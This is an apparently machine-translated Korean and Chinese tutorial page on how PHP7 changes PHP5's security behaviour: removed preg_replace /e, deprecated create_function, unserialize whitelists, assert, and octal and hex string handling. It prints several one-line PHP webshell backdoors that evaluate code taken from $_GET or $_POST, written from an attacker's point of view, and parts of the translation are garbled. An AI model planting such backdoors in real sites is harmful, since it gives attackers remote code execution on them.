모든 사람은 다음과 같이 코드를 실행하기 위해 \e 수정자를 사용합니다. 백도어는 많이 사용했습니다. 자세한 내용은 다음 공식 설명을 참조하세요."/> 모든 사람은 다음과 같이 코드를 실행하기 위해 \e 수정자를 사용합니다. 백도어는 많이 사용했습니다. 자세한 내용은 다음 공식 설명을 참조하세요.">

>백엔드 개발 >PHP 튜토리얼 >PHP7과 PHP5의 보안 차이(예)

PHP7과 PHP5의 보안 차이(예)

藏色散人
藏色散人앞으로
2019-03-21 15:16:314949검색

함수 수정

preg_replace()는 더 이상 /e 수정자를 지원하지 않습니다

<?php preg_replace("/.*/e",$_GET["h"],"."); ?>

우리는 코드를 실행하기 위해 e 수정자를 사용하는 많은 백도어를 사용했습니다. 자세한 내용은 다음 공식 설명을 참조하세요.

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

매우 불행하게도 e 수정자는 더 이상 PHP7 이상에서 지원되지 않습니다. 동시에 공식에서는 새로운 함수 preg_replace_callback을 제공했습니다:

권장 매뉴얼: PHP7 새로운 기능 매뉴얼

여기서 사용할 수 있습니다. 백도어를 실행하면 약간의 변화가 있습니다:

<?php preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]); ?>

PHP7과 PHP5의 보안 차이(예)

create_function()이 폐기됩니다

<?php $func =create_function(&#39;&#39;,$_POST[&#39;cmd&#39;]);$func(); ?>

백도어로 사용할 수 있는 함수가 하나 적습니다. 실제로는 eval을 실행하여 구현됩니다. 없어도 되는.

mysql_* 시리즈의 모든 구성원이 제거되었습니다.

PHP7에서 이전 버전의 mysql_* 시리즈 기능을 사용하려면 이제 공식 버전이 제공되지 않습니다. 공식적인 권장 사항은 mysqli 또는 pdo_mysql입니다. 이는 향후 PHP의 SQL 주입 취약점이 크게 감소한다는 것을 의미합니까~

我已经很久没在目标站上挖到过sql注入了,全都是预编译!

unserialize()는 선택적 화이트리스트 매개변수를 추가합니다

$data = unserialize($serializedObj1 , ["allowed_classes" => true]);
$data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);

사실 역직렬화된 데이터의 클래스 이름이 아닌 경우 화이트리스트입니다. 화이트리스트에 있으면 오류가 보고됩니다.

PHP7과 PHP5의 보안 차이(예)

다음과 같은 오류가 보고됩니다!

클래스 이름이거나 부울 데이터일 수 있습니다. FALSE인 경우 모든 객체는 __PHP_Incomplete_Class 객체로 변환됩니다. TRUE는 무제한입니다. 화이트리스트를 구현하기 위해 클래스 이름을 전달할 수도 있습니다.

还好现在是可选不是必选,要是默认FALSE逼程序员弄白名单那就真的吐血了。

assert()는 더 이상 기본적으로 코드를 실행할 수 없습니다

이것이 너무 많은 말이 코드를 실행하기 위해 사용되는 이유입니다. 이 업데이트는 기본적으로 전체 그룹을 제거합니다. 정상적인 상황이라면 수정하시면 됩니다~

Syntax 수정

foreach는 더 이상 내부 배열 포인터를 변경하지 않습니다

<?php $a = array(&#39;1&#39;,&#39;2&#39;,&#39;3&#39;); foreach ($a as $k=>&$n){ echo "";
}
print_r($a); foreach ($a as $k=>$n){ echo "";
}
print_r($a);

php5에 이런 코드를 넣으면 실행 결과는 이렇습니다.

PHP7과 PHP5의 보안 차이(예)

배열이 마지막 요소의 $value 참조는 foreach 루프 후에도 여전히 유지되기 때문에 이전 포인터가 실제로 지속적으로 할당됩니다. php7에서 값으로 순회할 때 작업 값은 배열의 복사본이며 더 이상 후속 작업에 영향을 미치지 않습니다.

이 변경 사항은 PHP7에서 사용할 수 없는 일부 cms 구멍에 영향을 미칩니다... 내가 말하는 구멍이 무엇인지 아실 겁니다.

这个问题在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。

8진수 문자의 내결함성 비율이 감소합니다

php5 버전에서는 8진수 문자에 잘못된 숫자가 포함되어 있으면 잘못된 숫자가 자동으로 잘립니다.

<?php echo octdec( &#39;012999999999999&#39; ) . "\n"; echo octdec( &#39;012&#39; ) . "\n"; if (octdec( &#39;012999999999999&#39; )==octdec( &#39;012&#39; )){ echo ": )". "\n";
}

예를 들어 php5에서 이 코드의 실행 결과는 다음과 같습니다.

PHP7과 PHP5의 보안 차이(예)

그러나 php7에서는 구문 분석 오류가 발생합니다.

这个问题同样在PHP7.0.0以后的版本又被改回去了,只影响这一个版本。

16진수 문자열은 더 이상 숫자로 간주되지 않습니다.

이 변경이 이루어지면 앞으로는 CTF 루틴이 훨씬 줄어들 것입니다~

많은 멋진 작업이 더 이상 작동하지 않습니다~

별도의 작업이 없습니다. 내가 이해하는 모든 사람에게 이것에 대해 말하십시오.

<?php var_dump("0x123" == "291");
var_dump(is_numeric("0x123"));
var_dump("0xe" + "0x1");
var_dump(substr("foo", "0x1")); ?>

위 코드는 PHP5에서 다음과 같이 실행됩니다.

PHP7과 PHP5의 보안 차이(예)

PHP7은 다음과 같이 실행됩니다.

PHP7과 PHP5의 보안 차이(예)

你以为我要说这个在后续版本被改回去了?不,目前截至最新的PHP7.3版本依然没有改回去的征兆,官方称不会在改了。这个讲道理还是蛮伤的。

ASP 및 스크립트 PHP 태그가 제거됨

PHP7과 PHP5의 보안 차이(예)

지금만 이와 같은 태그는 이제 php7에서 실행될 수 있습니다.

字面意思,影响其实不是很大(只是以后骚套路会少一点)。

과대 부동 소수점 수형 변환 및 잘림

부동 소수점 수를 정수로 변환할 때 부동 소수점 값이 정수로 표현하기에는 너무 큰 경우, PHP5 버전에서는 변환이 바로 잘립니다. 정수는 오류를 발생시키지 않습니다. PHP7에서는 오류가 보고됩니다.

CTF又少一个出题套路,这个问题我只在CTF上见过,影响应该不大。

기타

exec(), system() passthru()函数对 NULL 增加了保护.
list()不再能解开字符串string变量
$HTTP_RAW_POST_DATA 被移除
__autoload() 方法被废弃
parse_str() 不加第二个参数会直接把字符串导入当前的符号表,如果加了就会转换称一个数组。现在是第二个参数是强行选项了。
统一不同平台下的整型长度
session_start() 可以加入一个数组覆盖php.ini的配置
相关文章推荐:
1.php7和php5有什么不同之处?php5与php7之间的对比         
2.PHP5.5至PHP7.2 新特性整理
3.php7的垃圾回收和php5有什么区别
相关视频推荐:
1.独孤九贱(4)_PHP视频教程

相关推荐:《PHP教程

本篇文章就是关于PHP7和PHP5在安全上的区别介绍,希望对需要的朋友有所帮助!

위 내용은 PHP7과 PHP5의 보안 차이(예)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 52bug.cn에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제